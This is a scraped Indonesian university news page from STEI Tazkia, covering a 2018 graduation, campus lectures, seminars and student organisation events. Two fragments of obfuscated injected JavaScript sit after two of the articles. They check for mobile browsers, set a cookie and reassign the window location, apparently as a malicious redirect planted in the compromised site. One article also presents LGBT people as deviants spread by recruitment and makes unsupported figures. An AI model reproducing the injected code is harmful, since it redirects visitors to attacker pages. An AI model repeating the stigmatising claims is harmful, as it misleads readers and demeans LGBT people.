Aktivitas Mahasiswa

Wisuda STEI Tazkia ke-14, Sebagian Hapal Alquran

1 comment

Sekolah Tinggi Ekonomi Islam (STEI Tazkia) melaksanakan Wisuda ke-14. Wisuda untuk jenjang Diploma, Sarjana dan Pascasarjana ini digelar di gedung kampus Tazkia Sentul, Bogor, Jawa Barat, Rabu (21//11/2018).

Jumlah wisudawan sebanyak 325 orang, 138 orang dari Program Studi Manajemen Bisnis Syariah, 89 orang Akuntansi Syariah, 29 orang Ekonomi Syariah, 18 orang Hukum Ekonomi Syariah, 16 orang Program Diploma sebanyak dan 44 orang dari Program Pascasarjana Ekonomi.

Tema wisuda kali ini adalah Islamic Economic for Indonesia: “Towards a Prosperous and Civilized Sociaty”.

Pembantu Ketua I Bidang Akademik Andang Heryahya berharap para wisudawan mampu berkontribusi yang terbaik untuk agama bangsa dan negara.

“Kami ingin memberikan konstribusi terbaik terhadap cita cita kemerdekaan Republik Indonesia dalam wewujudkan kecerdasan bangsa, keadilan dan kesejahteraan sosial. InsyaAllah ekonomi syariah salah satu bagian penting dalam wujudkannya,” ujarnya.

Andang mengungkapkan, pada wisuda kali ini semua civitas akademika bersyukur, bangga dan bangga dari 325 wisudawan telah meluluskan 24 wisudawan hapal Al Quran 30 Juz, 25, 10 dan 5 juz. “Dan, yang membuat terharu adalah sosok mahasiswa terbaik kami hapal 30 Juz,” begitu kata Pembantu Ketua I Bidang Akademik itu.

Berikut adalah profil lulusan terbaik:

Program Studi Ekonomi Syariah

Nira Mufidah
IPK: 3,71
Hafalan: 3 juz
prestasi:
– Juara 1 Olympiade of
Islamic Economics, Seven Shelter in University of Jendral Sudirman 2017
– Juara 1 Best Paper, DIRHAM STEI Tazkia 2016
– Juara 2 Best Speaker for Innovation Paper, The 16th Conference SECOND in University of Indonesia 2017
– Juara 3 Video Dakwah Creative Competition, Temu Ilmiah Regional Jabodetabek in University of Jakarta 2016
– Finalis for simposium TEMILNAS XVI UIN Sunan Kalijaga, Yogyakarta 2017
– Participant Essay of Indonesia Student Research and Summit, Indonesia 2015
– 1st Winner Scrabble competition in STEI TAZKIA

Program Studi: Hukum Ekonomi Syariah (Muamalah)

Nur Lazuardini Makmur
IPK : 3.83
Hafalan : 5 Juz
Prestasi :
1. Juara 2 Temilnas Nasional 2017
2. Juara 2 MTQ Tazkia Matrikulasi 2015
3. Juara 1 Business Action Competition HIMMAH 2015
4. The Best Diligent Student Matriculation Program 2015

Program Studi: Manajemen Bisnis Syariah

Wardatul Jannah
IPK: 3,89
Hafalan: 3,5 juz
prestasi:
Juara 1 lomba tahfidz 1juz 2015
Juara 1 komptetisi vidio kreatif telmireg 2017
Juara 1 lomba spelling bee BIMM 2014

Program Studi: Akuntansi Syariah

Astrid Auliya Qurrotainin Pramono
IPK 3.78
Hafalan 30 Juz
Prestasi:
-Best paper Asia Youth International model united nation Malaysia, 2017
– 2nd place best speaker innovation paper, 16th sharia economic days, UI, 2017
-1st place national islamic economic olympiade, seven shelter, KSeI unsoed, 2016
-1st place national islamic economic olympiade, sharia economic event, Gunadharma, 2016
-2nd place national islamic economic olympiade, UMY, 2016
-Best student of matriculation

Program Studi: Manajemen Keuangan Mikro Syariah

Ari Supriyanti
Hapalan 1 Juz
Prestasi –
Bekerja di Baitul Ikhtiar, Bogor di Bagian Accounting

Program Studi: Magister Ekonomi Syariah

Yaser Taufik Syamlan
IPK 3.89
Hafalan 2 Juz
Prestasi:
-Dosen berprestasi urutan ketiga tazkia 2018
– Presenter dalam seminar IPAFEM 2017 istanbul turkey
– Presenter dalam seminar nasional refleksi perbankan syariah yang diadakan di UMY 2017
– Presenter pada 6th AICIF Conference Manila 2018
– Penerima Research Grant dari OJK 2018 untuk mengembangkan produk perbankan syariah baru di Indonesia
– Telah menerbitkan beberapa jurnal baik nasional maupun internasional

Terbaik Umum

Astrid dari Prodi Akuntansi Syariah.

“Jadi yang lebih membanggakan adalah Tazkia memiliki lebih dari 5 wisudawan hapal 30 Juz dan lebih dari 19 hapal Al Quran 5 sampai 25 Juz. Kami bersyukur bahagia dan bangga mereka menjadi lulusan STEI Tazkia. Semoga kita semua bisa memberikan apresiasi terbaik,” tandas Andang. (suara-islam.com)

https://suara-islam.com/wisuda-stei-tazkia-ke-14-sebagian-hapal-alquran/

Miftahul AnwarWisuda STEI Tazkia ke-14, Sebagian Hapal Alquran
read more

Wisudawan STEI Tazkia Hapal Al-Qur’an 30 Juz

No comments

Bogor, Gontornews — Sekolah Tinggi Ekonomi Islam (STEI Tazkia) melaksanakan Wisuda ke XIV. Jumlah wisudawan sebanyak 325 orang, 138 orang dari Program Studi Manajemen Bisnis Syariah, 89 orang Akuntansi Syariah, 29 orang Ekonomi Syariah, 18 orang Hukum Ekonomi Syariah, 16 orang Program Diploma sebanyak dan 44 orang dari Program Pascasarjana Ekonomi.

Tema wisuda kali ini adalah Islamic Economic for Indonesia: “Towards a Prosperous and Civilized Sociaty”. Semoga Para Wisudawan/ti mampu memberikan konstribusi terbaik terhadap cita-cita kemerdekaan Republik Indonesia dalam wewujudkan kecerdasan bangsa, keadilan dan kesejahteraan sosial” ujar Andang Heryahya selaku Wakil Ketua 1 Bidang Akademik.

Hadir dalam Pertemuan Kali ini sebagai Pembicara Gubernur Bangka Belitung Bapak DR. H. Erzaldi Rosman, S.E., M.M. Ketua KEIN Bapak Soetrisno Bachir, dan Direktur Keuangan dan Ekonomi Syraih Bank Indonesia Bapak M. Anwar Bashori.

Wisuda kali ini menjadi wisuda yang istimewa karena dari 325 wisudawan terdapat 24 wisudawan yang memiliki hafalan Al Quran 30 Juz, 25, 10 dan 5 juz termasuk diantaranya mahasiswa terbaik kali ini adalah Astrid Auliya Qurrotainin Pramono yang memiliki hafalan 30 Juz, nilai akademik yang mentereng, serta pencapain dalam dan luar negeri yang membanggakan.

“Bersyukur bahagia dan bangga menjadi Lulusan STEI Tazkia untuk semua wisudawan/ti yang telah diwisuda” ungkap Andang Heryahya. (gontornews.com)

https://gontornews.com/2018/11/22/wisudawan-stei-tazkia-hapal-al-quran-30-juz/

Miftahul AnwarWisudawan STEI Tazkia Hapal Al-Qur’an 30 Juz
read more

STEI Tazkia Luluskan 24 Wisudawan Hafal Al-Qur’an 30 Juz

No comments
KAB. BOGOR – Sekolah Tinggi Ekonomi Islam (STEI Tazkia) melaksanakan Wisuda ke IXV. Dengan mengusung tema “Islamic Economic for Indonesia: _”Towards a Prosperous and Civilized Sociaty, bertempat di Kampus STEI Tazkia Jalan Ir. H. Djuanda No 78, Sentul City, Babakan Madang, Kabupaten Bogor. Rabu (21/11/18).
Adapun jumlah Wisudawan sebanyak 325 orang, 138 orang dan Program Studi Managemen Bisnis Syariah, 89 orang Akuntansi Syariah, 29 orang Ekonomi Syariah. 18 orang Hukum Ekonomi Syariah, 16 orang Program Diploma sebanyak dan 44 orang dan Program Pascasarjana Ekonomi.
“Kami ingin memberikan kontribusi terbaik terhadap cita – cita kemerdekaan Republik Indonesia dalam mewujudkan kecerdasan Bangsa, keadilan dan kesejahteraan sosial. lnsyaAllah ekonomi syariah salah satu bagian penting dalam wujudnya. Oleh karena itu, kami mengundang ketua KEIN Bapak Soetrisno Bahir dan Direktur Keuangan dan Ekonomi Syariah Bank Indonesia,” tutur Ketua I Bidang Akademik Andang Heryahya.
Wisuda kali ini lanjutnya, semua civitas akademika. Bersyukur dan bangga dari 325 wisudawan meluluskan 24 wisudawan hafal Al Quran 30 Juz, 25, 10 dan 5 juz. Yang membuat terharu adalah sosok mahasiswa terbaik kami hafal 30 Juz,” ungkapnya.
Berikut adalah profile lulusan terbaik dari STEI Tazkia diantaranya : Program Studi, Ekonomi Syariah Nira Mufidah IPK: 3,71 Hafalan: 3 juz, dengan prestasi Juara 1 Olympiade of Islamic Economics, Seven Shelter to University of Jendral Sudirman 2017, Juara 1 Best Paper, DIRHAM STEI Tazkia 2016. Juara 2 Best Speaker for Innovation Paper. The 16th Conference SECOND in University of Indonesia 2017 Juara 3 Video Dakwah Creative Competition, Temu Ilmiah Regional Jabodetabek in University of Jakarta 2016. Finalis for simposium TEMILNAS XVI UIN Sunan Kalijaga, Yogyakarta 2017 Participant Essay of Indonesia Student Research and Summit, Indonesia 2015. 1st Winner Scrabble competition in STEI TAZKIA.
Untuk orogram studi Hukum Ekonomi Syariah (Muamalah) Nur Lazuardini Makmur IPK : 3.83 Hafalan : 5 Juz dengan prestasi Juara 2 Temilnas Nasional 2017, Juara 2 MTQ Tazkia Matrikulasi 2015, Juara 1 Business Action Competition HIMMAH 2015, The Best Diligent Student Matriculation Program 2015.
Sedangkan program studi Manajemen Bisnis Syariah yakni, Wardatul Jannah IPK 3,89 hafalan 3,5 juz dengan prestasi, Juara 1 lomba tahfidz 1 juz 2015
juara 1 kompetisi Vidio kreatif Telmireg 2017, Juara 1 lomba spelling bee BIMM 2014.
Program Studi Akuntansi Syariah,
Astrid Auliya Qurrotainin Pramono
IPK 3.78, Hafalan 30 Juz dengan prestasi Best Paper Asia Youth International Model United Nation Malaysia 2017, 2nd Place Best Speaker Inovation Paper, 16th syariah economic days, Ul, 2017 -1st place national islamic economic olympiade, seven shelter, KSeI unsoed. 2016 -1st place national islamic economic olympiade, sharia economic event, Gunadharma 2016, 2nd place national islamic economic olympiade, UMY, 2016 Best student of matriculation.
Kemudian, Program Studi Manajemen Keuangan Mikro Syariah Ari Supriyanti
Hafalan 1 Juz dengan prestasi bekerja di Baitul Ikhtiar, Bogor bagian Accounting.
Program studi Magister Ekonomi Syariah, Yaser Taufik Syamlan, IPK 3.89. Hafalan 2 Juz dengan prestasi sebagai Dosen berprestasi urutan ketiga Yazkia 2018, Presenter dalam seminar IPAFEM 2017 Istanbul Turkey, Presenter dalam seminar nasional refleksi perbankan syariah yang diadakan di UMY 2017, Presenter pada 6th AICIF Conference Manila 2018, Penerima Research Grant dari OJK 2018 untuk mengembangkan produk perbankan syariah baru di Indonesia. Selain itu, Ia juga telah menerbitkan beberapa jurnal baik Nasional maupun Internasional Terbaik Utama Astrid dari Prodi Akuntansi Syariah.
Kemudian wisudawan Tahfizh Quran terbaik dan yang lebih membanggakan adalah Tazkia memiliki lebih dari 5 wisudawan hafal 30 Juz dan lebih dari 19 hapal Al Quran 5 sampai 25 Juz.
“Bersyukur, bahagia dan bangga menjadi lulusan STEI Tazkia. Semoga kita semua bisa memberikan apresiasi terbaik,” kata salah satu wisudawan kepada Redaksi 87 Online News. (http://www.87onlinenews.com)
http://www.87onlinenews.com/2018/11/stie-tazkia-laksanakan-wisuda-ke-ixv.html?m=1

Miftahul AnwarSTEI Tazkia Luluskan 24 Wisudawan Hafal Al-Qur’an 30 Juz
read more

Hadir di Masjid Andalusia Kampus Tazkia Ustadz Abdul Somad Serukan Implementasi Ekonomi Syariah Secara Total

No comments

Bogor, Jumat, 2 November 2018 / 24 Shafar 1440. Masjid Andalusia Kampus Tazkia kehadiran Tamu Istimewa. Al Ustadz Abdul Somad, LC, M.A. hadir mengisi tabligh Akbar bersama Dr. Muhammad Syafii Antonio (Pakar Ekonomi Syariah dan Pembina Tazkia Group) dengan moderator Dai Muda Hilman Fauzi, S.E.I, M.E.Sy (Alumni Kampus Tazkia S1 & S2). Hadir ribuan jama’ah memadati acara yang disponsori oleh Jama’ah Pengajian Andalusia, Tazkia Group dan Sentul City ini.

Mengusung tema Menuju Indonesia Baru dengan Kekuatan Ekonomi Ummat. Dr. Syafi’i Antonio mengawali dengan mengungkapkan data-data penting bahwa ummat muslim Indonesia mampu bangkit jika bersatu padu bersama menghidupkan Ekonomi Syariah untuk menyokong Ekonomi Ummat. 87% ummat muslim masih mayoritas menjadi konsumen dari 13% konglomerat yang menguasai produk pokok nasional. Al Ustadz Abdul Somad pun melanjutkan pentingnya belanja di toko sekitar, milik ummat serta mempersiapkan generasi ummat yang akan memperjuangkan Ekonomi Ummat dengan Ekonomi Syariah.

Beliau juga menyerukan kepada seluruh petinggi pemerintah, yang memilki kekuasaan untuk memanfaatkan kekuasaan untuk kepentingan ummat, memperkuat praktik keuangan syariah, mendukung ekonomi masyarakat sekitar dan kebijakan positif lain yang memberikan manfaat besar untuk ummat meskipun sudah lepas dari jabatan nanti.

Kampus Tazkia berkali kali disebut oleh Al Ustadz menjadi lembaga yang siap membekali generasi muda yang akan memperjuangkan Ekonomi Syariah di masa depan. Sehingga Ummat Islam mampu menjadi tuan di Negeri sendiri dengan Ekonomi Syariah sebagai solusinya.

 

Rizqi ZakiyaHadir di Masjid Andalusia Kampus Tazkia Ustadz Abdul Somad Serukan Implementasi Ekonomi Syariah Secara Total
read more

STEI Tazkia bersama CEP CCIT FTUI meluluskan 33 Mahasiswa Program Profesional IT Perbankan Syariah

No comments

Program kerjasama yang disepakati oleh STEI Tazkia dan CEP CCIT FTUI sejak 4 tahun yang lalu telah membuahkan lulusan profesional Teknologi Informasi perbankan syariah (TIPS) yang sangat memuaskan. Lulusan tersebut telah berhasil menciptakan aplikasi berbasis teknologi informasi di beberapa institusi keuangan syariah. Harapannya adalah program kerjasama ini dapat meningkatkan kemudahan dalam transaksi keuangan syariah. Proses perkuliahan dilakukan dua tahun di STEI Tazkia dan dua tahun di CEP CCIT FTUI. Mahasiswa yang terdaftar pada tahun 2018 di STEI Tazkia adalah angkatan ke lima dari program kerjasama ini.

Sebanyak 33 mahasiswa program IT perbankan syariah telah dikukuhkan bersama 127 lulusan program teknologi informasi lainnya yaitu 102 lulusan program IT reguler dan 25 mahasiswa program Network Admnistrator Professional dalam acara pelepasan lulusan CEP CCIT FTUI tahun 2018. Acara pelepasan tersebut telah dilaksanakan pada hari Sabtu, tanggal 20 Oktober 2018 di Gedung Balairung, Universitas Indonesia, Depok, Jawa Barat. Ketua Program Studi Akuntansi Syariah STEI Tazkia, Grandis Imama Hendra, MSc. Acc, dan para undangan lainnya turut hadir dalam acara tersebut untuk mengucapkan selamat kepada para lulusan. Suasana menjadi tangis haru saat para lulusan terbaik berjalan memberikan bunga kepada ibunda masing-masing dengan diiringi lagu a�?Oh Bundaa�?. Salah satu mahasiswa yang terbaik adalah Cipta Pakarti Puji Akasyah. Dan acara pelepasan lulusan tersebut diakhiri dengan doa. (GIH)

Miftahul AnwarSTEI Tazkia bersama CEP CCIT FTUI meluluskan 33 Mahasiswa Program Profesional IT Perbankan Syariah
read more

JIKA LGBT DILEGALKAN?APA KABAR INDONESIA?!

No comments

Bogor, Sabtu 20 Oktober 2018, Loby STEI TAZKIA. Kegiatan ini dimulai pukul 15:30-17:45 WIB, dengan pemateri KABID. Edukasi Aila Indonesia yaitu Diana Widyasari,ST,MM. Dalam rangka untuk mengantisipasi & mensosialisasikan kepada mahasiswa dalam bentuk kontribusi masyarakat menghindari permasalahan sosial tentangLGBT, kegiatan ini berlangsung dengan baik dan lancar, kegiatan diskusi ini kurang lebih dihadiri oleh 100 mahasiswa dengan partisipan dari kampus lain yaitu dari Universitas Negri Jakarta, Universitas Pakuan Bogor, & Universitas BSI Jayakarta.

Dalam kegiatannya pemateri memaparkan apa saja yang menjadi penyebab seseorang menjadi LGBT serta Alasan yang menjadi faktor timbulnya penyimpangan seksual tersebut. Waspadalah dengan lingkungan disekitar kita, karena lingkungandimana kita menjalani sebuah interaksi sosial menjadi faktor utama yang menyebabkan berubah-ubahnya pola pikir kita atas permasalahan yang dihadapi. jika bukan kita sebagai masyarakat yang menjaganya,lantas siapa lagi? Apa indonesia diam saja? Apa kita yang harus menjaga lingkungan sekitar dari perihal seperti itu?. Oleh karenanya persoalan ini harus menjadi fokus pemerintah yang tidak bisa dikesampingkan, pemerintah harus membuat satu aturan yang menjadi payung hukum bagi setiap pelaku dan korban yang terlibat dalam permasalahan LGBT ini. Maraknya komunitas ini sudah menyebar di wilayah indonesiakhususnya di daerah ibu kota Jakarta. tahun 2012 di Cianjur tepatnya, ada media berita yang mengabarkan,bahwasanya ada KONTES GAY NASIONAL di Cianjur.

Dan itu sudah menjadi target mereka disetiap bulan untuk merekrut anggota baru 200 orang, kalau sudah begini, apa kita masih diam saja? Pemerintah harus tetap terbuka atas permasalahan seperti ini. Karena berdiam diri dan bisu soal masalah seperti ini bukan suatu kebijakan yang pantas diberikan kepada masyarakat lainnya. Hasil diskusi ( Sabtu, 20 Oktober 2018 ) yang dibawakan oleh pemateri yaitu ibu Diana Widyasari,ST,MM.Menyatakan bahwa ada beberapa faktor yang mempengaruhi seorang anak muda sehingga memilih untuk hidup dalam kelainan seksual. Pada dasarnya semua faktor itu saling bergantung satu sama lain yang secara perlahan-lahan mengubah seseorang menjadi pelaku LGBT. Pola pelaku a�� korban a�� pelaku a�� korban pun menjadi satu faktor yang menyebabkan regenerasi dan berkembang pesat A�anggota dari LGBT ini.

Kegiatan ini mendapat dukungan penuh dari segenap ormawa-ormawaSTEI TAZKIA, dan dari kabid. Edukasi Aila Indonesia, pihak yg memberikan materi tantang LGBT DI LEGALKAN?, APA KABAR INDONESIA?!.

 

Miftahul AnwarJIKA LGBT DILEGALKAN?APA KABAR INDONESIA?!
read more

SHARING EXPERIENCE SESSION IN CORPORATE STRATEGY With Pambudi Sunarsihanto, Msc, MBA

No comments

Dimulai tepat pukul 10:00 WIB, seminar yang bertajuk Sharing Experience Session In Corporate Strategydengan tema a�?Corporate Experience and Learning Culturea�? pada hari Sabtu, 20 Otober 2018 M / 11 Shafar 1440 H menghadirkan pembicara yang disebut sebagai a�?Aset Umata�? oleh rektor STEI Tazkia Dr. Murniati Mukhlisin, M.Acc dalamA� speech openingnya. Dipandu oleh Bapak Muchlis sebagai salah satu pengurus Yayasan Tazkia Cendekia, acara yang diselenggarakan oleh program Pasca Sarjana STEI Tazkia ini berlangsung seru dan menarik, pasalnya baik dari A�pembicara A�maupun para audiens turut serta aktif dan responsif bertanya dan berbagi pengalaman, alhasil Meeting Room Lt. 2 kampus utama STEI Tazkia yang berpusat di Sentul City ini pun terasa hangat dan dipenuhi semangat optimisme menuju perubahan yang lebih baik.

Acara ini menghadirkan pembicara yang sangat expert di bidangnya, yaitu Pambudi Sunarsihanto, Msc, MBA. selaku HR Director Danone Aqua yang mamiliki lebih dari 12.000 karyawan di Indonesia ini menumbuhkan antusiasme yang tinggi dari audiens ditambah pembawaanya yang terlihat sersan alias serius namun santai benar-benar menyuguhkan sajian yang epik dari mantan pimpinan HRD di Nokia Beijing, Executive Vice President (HRD) Telkomsel Indonesia, Senior Consultant di Mazars, consulting Asia Singapura, dan beberapa posisi penting lainnya.

Dalam pemaparannya beliau menuturkan 3 hal utama yang harus dipahami para audience, yakni leadership consistent, corporate performance, dan learning agilty.

Pertama. leadership consistent, a�?Anda bisa menyebut diri anda sebagai leader kalo ada follower, dan itu membutuhkan konsistensi. Problem yang terjadi hari ini adalah gak konsisten, hari ini bilang putih, esok lusa bisa hitam atau meraha�?, terangnya. Dirumuskanlah 3 poin penting dalam leadership; lead your business, lead your team, dan lead your self. Tiga hal yang menurut pria penggemar travellingA� ini selaras dengan semboyan Ki Hajar Dewantara. Ing ngarsa sung tuladha ( di depan memberi contoh), ing madya mbangun karsa ( di tengah mengembangkan anggota team), tut wuri handayani ( di belakang melihat usaha berkembang).

Kedua. corporate performance, dunia bisnis saat ini sulitA� diprediksi, setiap waktu mengalami perubahan. a�?Dunia berubah, ekonomi berubah, bisnis berubah, politik berubah, kompetisi berubah, perilaku konsumen berubah. Dan kalo anda tidak berubah, bersiaplah bahwa anda akan hilang ditelan jaman.a�?, tutur ayah 3 orang anak ini. Perusahaan-perusahaan besar yang berjaya di masanya seperti Kodak, Nokia, dan lain-lain tidak mampu mengikuti perubahan sehingga sekarang hanya bertitel a�?almarhuma�?.A� Lantas ketidakpastian apa yang kita hadapi? Beliau menuturkan 4 kata yang disingkat dengan VUCA:

  1. Volatile (Rapuh)
  2. Uncertainty (Ketidakpastian)
  3. Complexity (Rumit)
  4. Ambiguity (rancu)

Mengutip perkataan Charles Darwin a�?Makhluk yang akan terus bertahan bukan makhluk yang paling kuat, makhluk yang paling sukses adalah makhluk yang mampu bertahan dalam perubahan.a�? berkaitan pula dengan poin ketiga yaitu learning agilty.

A�A�A�A�A�A�A�A�A�A�A�A� Ketiga. learning agilty, Kemampuan anda mempelajari hal baru, the ability to learn new things. Sepintar apapun anda, kemampuan anda di masa depan mungkin sudah tidak relevan kalo tidak mampu berinovasi dan mengembangkan diri.

Tepat pukul 11:50 WIB, acara selesai dan diakhiri dengan pembagian 3 buku kepada penanya terbaik khusus dari pembicara dan juga pemberian cinderamata dari rektor STEI Tazkia serta foto bareng. (Isna)

 

 

Miftahul AnwarSHARING EXPERIENCE SESSION IN CORPORATE STRATEGY With Pambudi Sunarsihanto, Msc, MBA
read more

Tazkia Lantik Pengurus LDK Al-Iqtishod Periode 2018-2019

No comments

Selasa, 16 Oktober 2018.A� Tazkia melaksanakan Pelantikan Kader LDK masa amanah 2018-2019 yang berlokasi di Hall lantai 3 Gedung Kampus STEI Tazkia. Acara ini merupakan puncak rangkaian kegiatan Open Recruitment LDK Al-Iqtishod bagi para pengurus baru angkatan 17.

Disaksikan oleh perwakilan KSEI Progres, BEM REMA STEI Tazkia, dan 4 HMJ, pengurus angkatan 16 sukses membuat acara pelantikan ini berlangsung dengan lancar. Kegiatan dimulai pada pukul 16.00 dengan pembukaan dan tilawah, dilanjutkan dengan menyanyikan lagu Indonesia Raya dan Hymne Tazkia serta sambutan.

Sesi pelantikan berlangsung kondusif, para kader angkatan 2017 yang berjumlah 57 orang berbaris rapi dengan menggunakan seragam yang telah ditentukan, kemudian masing-masing dipanggil namanya dan disebutkan divisi yang akan ditempati, divisi yang ada di LDK Al-Iqtishod terdiri dari BPH, Kaderisasi, Kajian Islam (Kalam), Usaha Mandiri (Usman), Annisa (Keakhwatan), Syiar (Media) dan DS (Dakwah Sekolah).

Setelah pembacaan ikrar pengurus baru berakhir, kader angkatan 17 resmi menjadi anggota pengurus LDK Al-Iqtishod dan siap meneruskan estafet dakwah di kampus STEI Tazkia, Insya Allah. Acara berlangsung hingga pukul 17.30 dan ditutup dengan doa bersama. (Aisyah)

  |u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Miftahul AnwarTazkia Lantik Pengurus LDK Al-Iqtishod Periode 2018-2019
read more

Daurah Al-Qura��an STEI Tazkia, Move On Bersama Al-Qur’an!!!

No comments

Sabtu, 13 oktober 2018 kemarin telah dilaksanakan kegiatan Daurah Al-Qura��an dengan tema a�?Move On dengan Al-Qura��an bersama Ustadz Zaid Muzayyan-founder Club Motor Mengajia�? yang bertempat di masjid Andalusia Islamic Center. Acara ini diadakan dalam rangka magang bagi para calon pengurus LDK Al-Iqtishad angkatan 2017 dan merupakan salah satu rangkaian open reqruitmentnya.

Sekitar pukul 15:45 acara dimulai dengandiawali pembacaan ayat suci Al-Qura��anoleh Muhammad Ismailkemudian sambutan dari ketua pelaksana Ibnu Hibban Hartono dan ketua LDK Al- Iqtishad Ikhsanul Ikhwan yang dilanjutkan dengan motivasi dari pembicara yaitu Ustadz Zaid Muzayyan yang merupakan founder Club Motor Mengaji.

Mengangkat tema yang sangat unik bagi kaum millenial a�?Move On dengan Al-Qura��an bersama Ustadz Zaid Muzayyan-founder Club Motor Mengajia�?, panitia sukses membuat acara ini berlangsung khidmat dan syahdu oleh lantunan ayat-ayat suci Al-Qura��an dari pembicara yang mengajak peserta untuk kembali bermuhasabah diri terhadap kecintaannya kepada Allah dan Rasulullah melalui Al-Qura��an.

Dengan jargona�?Mushaf Bersamaku, Al-qura��an di Hidupku, Ya Kali Gak Kuya�? mampu menarik peserta khususnya kaum millenial untuk merenungkan ayat-ayat Al-Qura��an yang menjadi pembahasan, diantaranya Q.S. At-Tahrim:8 dan Q.S. Al-Ankabut:69. Inilah janji Allah yang menjadi pegangan pembicara dalam hijrahnya dari dunia gelap menuju dunia terang benderang bersama Al-Qura��an hingga mampu membawa lingkungannya yang notabene jauh dari ruhani islami menjadi club motor mengaji.

Diakhiri dengan doa��a bersama yang dipimpin oleh pembicara mampu menghayutkan suasana menjadi hening dalam munajat kepada-Nya. Pesan terakhir yang dapat diaplikasikan dalam kehidupan sehari-hari melalui move on dengan Al-Qura��an ini yaitu:

  1. Niat
  2. Shalat taubat
  3. Perbanyak dzikir pagi & sore
  4. Istiqamah
  5. Sungguh-sungguh

Ditutup pada pukul 17:30 dengan quotes pamungkas a�?orang yang shalih pasti baca Al-Qura��an, tapi belum tentu orang yang membaca Al-Qura��an adalah orang shaliha�?. (Isna) o|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Miftahul AnwarDaurah Al-Qura��an STEI Tazkia, Move On Bersama Al-Qur’an!!!
read more

Talk Show Nasional: Rupiah Melesu? Muslim-preneur Jadi Penentu!

No comments

Sentul, 6 Oktober 2018, 26 Muharram 1440 H, Pada 5 September 2018 lalu, rupiah melesu hingga mendekati angka 15 ribu rupiah dan terus menurun hingga sekarang di nilai Rp15.152,-. Peristiwa ini tentu tidak belalu begitu saja. Perbincangan demi perbincangan terjadi di dalam masyarakat karena panasnya peristiwa memprihatinkan ini tidak hanya memberikan pengaruh buruk terhadap negara, tapi juga masyarakat yang menempatinya.


Melihat keadaan ini, para calon pengurus baru angkatan 17 KSEI Progres STEI Tazkia dalam salah satu rangkaian kegiatan Open Recruitment-nya menghadirkan kegiatan talkshow nasional bertemakan a�?Rupiah Melesu? Muslim-preneur Jadi Penentu!a�? dengan harapan untuk memberikan solusi dari permasalahan yang ada ini.
KSEI Progres menghadirkan dua narasumber yang masing-masing adalah seorang yang ahli di bidangnya, untuk mengupas permasalahan melesunya rupiah ini baik dari kacamata praktisi maupun pakar keilmuan. Kedua nasasumber ini tak lain ialah Bapak Agung Prasetyo Utomo, owner dari a�?Ayam Geprek Juaraa�? yang sukses menjalankan bisnisnya dengan berlandaskan syariah, serta Bapak Hendri Tanjung MM.,M.Ag.,M.Phil.,Ph.D. yang saat ini berkarir sebagai seorang penulis sekaligus dosen pasca sarjana di UIKA.


Dalam perbincangan yang santai dengan moderator talkshow ini, Hendri Tanjung menjelaskan bahwa ada 5 hal yang membuat rupiah menjadi melesu, yaitu:
Selera masyarakat akan produk dalam negeri yang rendah.A�Banyak dari masyarat Indonesia sendiri yang lebih memilih untuk membeli barang-barang bermerk yang berasal dari luar negeri, sehingga terjadilah peningkatan impor. Suku bunga.
